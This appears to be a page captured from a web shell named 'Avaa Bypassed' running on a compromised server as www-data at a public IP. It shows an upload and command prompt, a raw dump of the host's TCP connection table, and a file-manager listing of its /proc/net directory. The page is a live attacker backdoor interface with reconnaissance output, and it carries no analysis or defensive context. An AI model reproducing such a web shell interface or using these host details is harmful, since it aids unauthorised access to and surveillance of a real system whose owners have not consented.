[ Avaa Bypassed ]




Upload:

Command:

www-data@3.133.141.175: ~ $
  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode                                                     
   0: 00000000:0016 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 181777111 1 0000000000000000 100 0 0 10 0                 
   1: 0100007F:0277 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 266009243 1 0000000000000000 100 0 0 10 0                 
   2: 00000000:2710 00000000:0000 0A 00000000:00000000 00:00000000 00000000     0        0 66237 1 0000000000000000 100 0 0 10 0                     
   3: 0100007F:8124 00000000:0000 0A 00000000:00000000 00:00000000 00000000   130        0 127193553 1 0000000000000000 100 0 0 10 0                 
   4: 3500007F:0035 00000000:0000 0A 00000000:00000000 00:00000000 00000000   101        0 53208 1 0000000000000000 100 0 0 10 0                     
   5: 0100007F:0CEA 00000000:0000 0A 00000000:00000000 00:00000000 00000000   130        0 127192686 1 0000000000000000 100 0 0 10 0                 
   6: 65F29367:2710 E3349868:CD37 01 00000000:00000000 00:00000000 00000000     0        0 240533999 1 0000000000000000 84 0 0 10 -1                 
   7: 65F29367:2710 72349868:BFEE 01 00000000:00000000 00:00000000 00000000     0        0 79526054 1 0000000000000000 538 0 0 10 -1                 
   8: 65F29367:2710 DD349868:B5E6 01 00000000:00000000 00:00000000 00000000     0        0 105313514 1 0000000000000000 82 0 0 10 -1                 
   9: 65F29367:CAAA D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626515 1 0000000000000000 904 0 0 10 -1                
  10: 65F29367:EB52 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354628243 1 0000000000000000 2169 4 30 10 -1              
  11: 65F29367:2710 E3349868:BADB 01 00000000:00000000 00:00000000 00000000     0        0 89912466 1 0000000000000000 84 0 0 10 -1                  
  12: 65F29367:D9E0 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627240 1 0000000000000000 402 4 30 10 -1               
  13: 65F29367:2710 C5BD4B6A:88FC 01 00000000:00000000 00:00000000 00000000     0        0 25808821 1 0000000000000000 1020 0 0 10 -1                
  14: 65F29367:8DBC D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626325 1 0000000000000000 750 4 26 2 7                 
  15: 65F29367:E38C D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354628037 1 0000000000000000 1196 0 0 10 -1               
  16: 65F29367:2710 9373EA68:53C1 01 00000000:00000000 00:00000000 00000000     0        0 362824714 1 0000000000000000 82 0 0 10 -1                 
  17: 65F29367:2710 E6349868:B4AD 01 00000000:00000000 00:00000000 00000000     0        0 116058621 1 0000000000000000 77 0 0 10 -1                 
  18: 65F29367:E394 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627426 1 0000000000000000 467 4 30 10 -1               
  19: 65F29367:2710 73349868:BBAB 01 00000000:00000000 00:00000000 00000000     0        0 94896650 1 0000000000000000 82 0 0 10 -1                  
  20: 65F29367:2710 02D4857C:7399 01 00000000:00000000 00:00000000 00000000     0        0 126243660 1 0000000000000000 139 4 31 10 -1               
  21: 65F29367:2710 7C349868:D50D 01 00000000:00000000 00:00000000 00000000     0        0 31727275 1 0000000000000000 79 0 0 10 -1                  
  22: 65F29367:2710 CE349868:C8A4 01 00000000:00000000 00:00000000 00000000     0        0 58738540 1 0000000000000000 80 0 0 10 -1                  
  23: 65F29367:2710 68349868:A7D7 01 00000000:00000000 00:00000000 00000000     0        0 299193548 1 0000000000000000 77 0 0 10 -1                 
  24: 65F29367:CA9A D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626507 1 0000000000000000 3783 4 28 10 -1              
  25: 65F29367:9816 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354625921 1 0000000000000000 88 4 32 10 -1                
  26: 65F29367:2710 32795C2A:604A 01 00000000:00000000 00:00000000 00000000     0        0 25644724 1 0000000000000000 136 0 0 10 -1                 
  27: 65F29367:B4F6 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627108 1 0000000000000000 1390 4 22 10 -1              
  28: 65F29367:9886 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626602 1 0000000000000000 1409 4 30 10 -1              
  29: 65F29367:D988 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627727 1 0000000000000000 596 4 30 10 -1               
  30: 65F29367:B0B0 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354628612 1 0000000000000000 1822 4 28 10 -1              
  31: 65F29367:DA4C D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627885 1 0000000000000000 912 4 30 10 -1               
  32: 65F29367:2710 81349868:BA92 01 00000000:00000000 00:00000000 00000000     0        0 8901640 1 0000000000000000 76 0 0 10 -1                   
  33: 65F29367:986C D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626597 1 0000000000000000 563 4 30 10 -1               
  34: 65F29367:8D08 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626047 1 0000000000000000 451 4 26 10 -1               
  35: 65F29367:EB44 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627535 1 0000000000000000 937 0 0 10 -1                
  36: 65F29367:2710 BB349868:C4EC 01 00000000:00000000 00:00000000 00000000     0        0 64305967 1 0000000000000000 80 0 0 10 -1                  
  37: 65F29367:CA7C D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626485 1 0000000000000000 813 4 30 10 -1               
  38: 65F29367:2710 D2349868:B85B 01 00000000:00000000 00:00000000 00000000     0        0 110755611 1 0000000000000000 482 0 0 10 -1                
  39: 65F29367:2710 E4349868:B1B3 01 00000000:00000000 00:00000000 00000000     0        0 318930940 1 0000000000000000 77 0 0 10 -1                 
  40: 65F29367:2710 DA6D8567:D515 01 00000000:00000000 00:00000000 00000000     0        0 102152676 1 0000000000000000 82 4 30 10 -1                
  41: 65F29367:2710 99349868:C0F8 01 00000000:00000000 00:00000000 00000000     0        0 69144892 1 0000000000000000 79 0 0 10 -1                  
  42: 65F29367:2710 7122A8CE:8B14 01 00000000:00000000 00:00000000 00000000     0        0 63657170 1 0000000000000000 405 0 0 10 -1                 
  43: 65F29367:8D7A D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626788 1 0000000000000000 322 4 30 10 -1               
  44: 65F29367:D2F6 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354628875 1 0000000000000000 756 4 4 10 -1                
  45: 65F29367:8DD2 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626342 1 0000000000000000 861 4 30 10 -1               
  46: 65F29367:B4BC D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627066 1 0000000000000000 1362 4 28 10 -1              
  47: 65F29367:DA10 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627852 1 0000000000000000 1097 0 0 10 -1               
  48: 65F29367:2710 81B1FF96:B2F4 01 00000000:00000000 00:00000000 00000000     0        0 291929096 1 0000000000000000 116 4 31 7 7                 
  49: 65F29367:B49E D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627054 1 0000000000000000 454 0 0 3 7                  
  50: 65F29367:2710 90349868:C3F1 01 00000000:00000000 00:00000000 00000000     0        0 223953830 1 0000000000000000 80 0 0 10 -1                 
  51: 65F29367:DA6A D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627315 1 0000000000000000 8629 4 26 10 -1              
  52: 65F29367:2710 D4349868:CE0D 01 00000000:00000000 00:00000000 00000000     0        0 36238376 1 0000000000000000 74 0 0 10 -1                  
  53: 65F29367:98D4 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626633 1 0000000000000000 2548 4 28 10 -1              
  54: 65F29367:DA66 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627903 1 0000000000000000 7581 4 30 10 -1              
  55: 65F29367:2710 A4349868:C72D 01 00000000:00000000 00:00000000 00000000     0        0 53509150 1 0000000000000000 98 0 0 10 -1                  
  56: 65F29367:2710 D2349868:D8FB 01 00000000:00000000 00:00000000 00000000     0        0 249778835 1 0000000000000000 78 0 0 10 -1                 
  57: 65F29367:97EA D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354625893 1 0000000000000000 95 4 30 10 -1                
  58: 65F29367:CA82 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626498 1 0000000000000000 791 4 20 10 -1               
  59: 65F29367:2710 4DB3B16E:5D81 01 00000000:00000000 00:00000000 00000000     0        0 115497943 1 0000000000000000 71 4 31 10 -1                
  60: 65F29367:EB0E D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354628169 1 0000000000000000 939 4 22 10 -1               
  61: 65F29367:D9CE D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627233 1 0000000000000000 1990 4 30 10 -1              
  62: 65F29367:B4E6 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627089 1 0000000000000000 814 4 30 10 -1               
  63: 65F29367:2710 8B349868:B6AD 01 00000000:00000000 00:00000000 00000000     0        0 171468812 1 0000000000000000 80 0 0 10 -1                 
  64: 65F29367:EB22 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627513 1 0000000000000000 582 4 28 10 -1               
  65: 65F29367:2710 DA349868:A89C 01 00000000:00000000 00:00000000 00000000     0        0 23793818 1 0000000000000000 80 0 0 10 -1                  
  66: 65F29367:B4F2 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627098 1 0000000000000000 690 0 0 10 -1                
  67: 65F29367:2710 DC349868:C4A1 01 00000000:00000000 00:00000000 00000000     0        0 73666633 1 0000000000000000 77 0 0 10 -1                  
  68: 65F29367:2710 0359542D:F6CD 01 00000000:00000000 00:00000000 00000000     0        0 968233 1 0000000000000000 98 4 31 10 -1                   
  69: 65F29367:0016 8D49383B:A60E 06 00000000:00000000 03:000014A7 00000000     0        0 0 3 0000000000000000                                      
  70: 65F29367:8DF8 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626867 1 0000000000000000 7378 4 28 10 -1              
  71: 65F29367:8D00 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626040 1 0000000000000000 3689 4 18 10 -1              
  72: 65F29367:E33C D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627985 1 0000000000000000 1167 4 16 10 -1              
  73: 65F29367:2710 EA349868:C620 01 00000000:00000000 00:00000000 00000000     0        0 49209804 1 0000000000000000 78 0 0 10 -1                  
  74: 65F29367:E3A6 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354628048 1 0000000000000000 9628 4 28 10 -1              
  75: 65F29367:2710 C7349868:B8A1 01 00000000:00000000 00:00000000 00000000     0        0 135990140 1 0000000000000000 81 0 0 10 -1                 
  76: 65F29367:D9BC D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627806 1 0000000000000000 945 4 30 10 -1               
  77: 65F29367:2710 CF349868:BB3E 01 00000000:00000000 00:00000000 00000000     0        0 154568564 1 0000000000000000 80 0 0 10 -1                 
  78: 65F29367:2710 EC349868:B468 01 00000000:00000000 00:00000000 00000000     0        0 100433514 1 0000000000000000 80 0 0 10 -1                 
  79: 65F29367:9832 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626561 1 0000000000000000 90 4 32 10 -1                
  80: 65F29367:2710 6D349868:CADD 01 00000000:00000000 00:00000000 00000000     0        0 20010285 1 0000000000000000 77 0 0 10 -1                  
  81: 65F29367:2710 1654F57B:929D 01 00000000:00000000 00:00000000 00000000     0        0 278167355 1 0000000000000000 75 4 31 10 -1                
  82: 65F29367:2710 D0349868:A9CF 01 00000000:00000000 00:00000000 00000000     0        0 2081992 1 0000000000000000 75 0 0 10 -1                   
  83: 65F29367:2710 9B349868:BB9B 01 00000000:00000000 00:00000000 00000000     0        0 84678399 1 0000000000000000 536 0 0 10 -1                 
  84: 65F29367:2710 D0349868:BFA3 01 00000000:00000000 00:00000000 00000000     0        0 27926289 1 0000000000000000 76 0 0 10 -1                  
  85: 65F29367:2710 D8349868:E83E 01 00000000:00000000 00:00000000 00000000     0        0 264282796 1 0000000000000000 75 0 0 10 -1                 
  86: 65F29367:2710 D4349868:E93E 01 00000000:00000000 00:00000000 00000000     0        0 15690628 1 0000000000000000 74 0 0 10 -1                  
  87: 65F29367:983A D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626567 1 0000000000000000 92 4 0 10 -1                 
  88: 65F29367:2710 DB349868:B87D 01 00000000:00000000 00:00000000 00000000     0        0 185906706 1 0000000000000000 80 0 0 10 -1                 
  89: 65F29367:2710 CDFEC765:E1C6 01 00000000:00000000 00:00000000 00000000     0        0 222132696 1 0000000000000000 115 4 31 10 -1               
  90: 65F29367:2710 47A5F859:EBF6 01 00000000:00000000 00:00000000 00000000     0        0 115281548 1 0000000000000000 54 4 30 10 -1                
  91: 65F29367:E352 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627993 1 0000000000000000 1577 4 18 10 -1              
  92: 65F29367:2710 9C349868:B9A6 01 00000000:00000000 00:00000000 00000000     0        0 206808878 1 0000000000000000 88 0 0 10 -1                 
  93: 65F29367:8D28 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354626082 1 0000000000000000 12000 4 28 10 -1             
  94: 65F29367:2710 CE349868:A177 01 00000000:00000000 00:00000000 00000000     0        0 279665597 1 0000000000000000 75 0 0 10 -1                 
  95: 65F29367:2710 D6349868:B61E 01 00000000:00000000 00:00000000 00000000     0        0 123265470 1 0000000000000000 80 0 0 10 -1                 
  96: 65F29367:2710 B85F7131:9E79 01 00000000:00000000 00:00000000 00000000     0        0 143349703 1 0000000000000000 115 4 31 10 -1               
  97: 65F29367:2710 D5349868:C9ED 01 00000000:00000000 00:00000000 00000000     0        0 43948855 1 0000000000000000 76 0 0 10 -1                  
  98: 65F29367:982E D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354625535 1 0000000000000000 90 4 32 10 -1                
  99: 65F29367:EB1C D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627508 1 0000000000000000 1961 4 28 10 -1              
 100: 65F29367:E3B0 D389D0AD:0050 01 00000000:00000000 00:00000000 00000000    33        0 354627438 1 0000000000000000 698 4 30 10 -1               

Filemanager

Name Type Size Permission Actions
dev_snmp6 Folder 0555
netfilter Folder 0555
stat Folder 0555
xt_recent Folder 0555
anycast6 File 0 B 0444
arp File 0 B 0444
connector File 0 B 0444
dev File 0 B 0444
dev_mcast File 0 B 0444
fib_trie File 0 B 0444
fib_triestat File 0 B 0444
icmp File 0 B 0444
icmp6 File 0 B 0444
if_inet6 File 0 B 0444
igmp File 0 B 0444
igmp6 File 0 B 0444
ip6_flowlabel File 0 B 0444
ip6_mr_cache File 0 B 0444
ip6_mr_vif File 0 B 0444
ip6_tables_matches File 0 B 0440
ip6_tables_names File 0 B 0440
ip6_tables_targets File 0 B 0440
ip_mr_cache File 0 B 0444
ip_mr_vif File 0 B 0444
ip_tables_matches File 0 B 0440
ip_tables_names File 0 B 0440
ip_tables_targets File 0 B 0440
ipv6_route File 0 B 0444
mcfilter File 0 B 0444
mcfilter6 File 0 B 0444
netlink File 0 B 0444
netstat File 0 B 0444
packet File 0 B 0444
protocols File 0 B 0444
psched File 0 B 0444
ptype File 0 B 0444
raw File 0 B 0444
raw6 File 0 B 0444
route File 0 B 0444
rt6_stats File 0 B 0444
rt_acct File 0 B 0444
rt_cache File 0 B 0444
snmp File 0 B 0444
snmp6 File 0 B 0444
sockstat File 0 B 0444
sockstat6 File 0 B 0444
softnet_stat File 0 B 0444
tcp File 0 B 0444
tcp6 File 0 B 0444
udp File 0 B 0444
udp6 File 0 B 0444
udplite File 0 B 0444
udplite6 File 0 B 0444
unix File 0 B 0444
wireless File 0 B 0444
xfrm_stat File 0 B 0444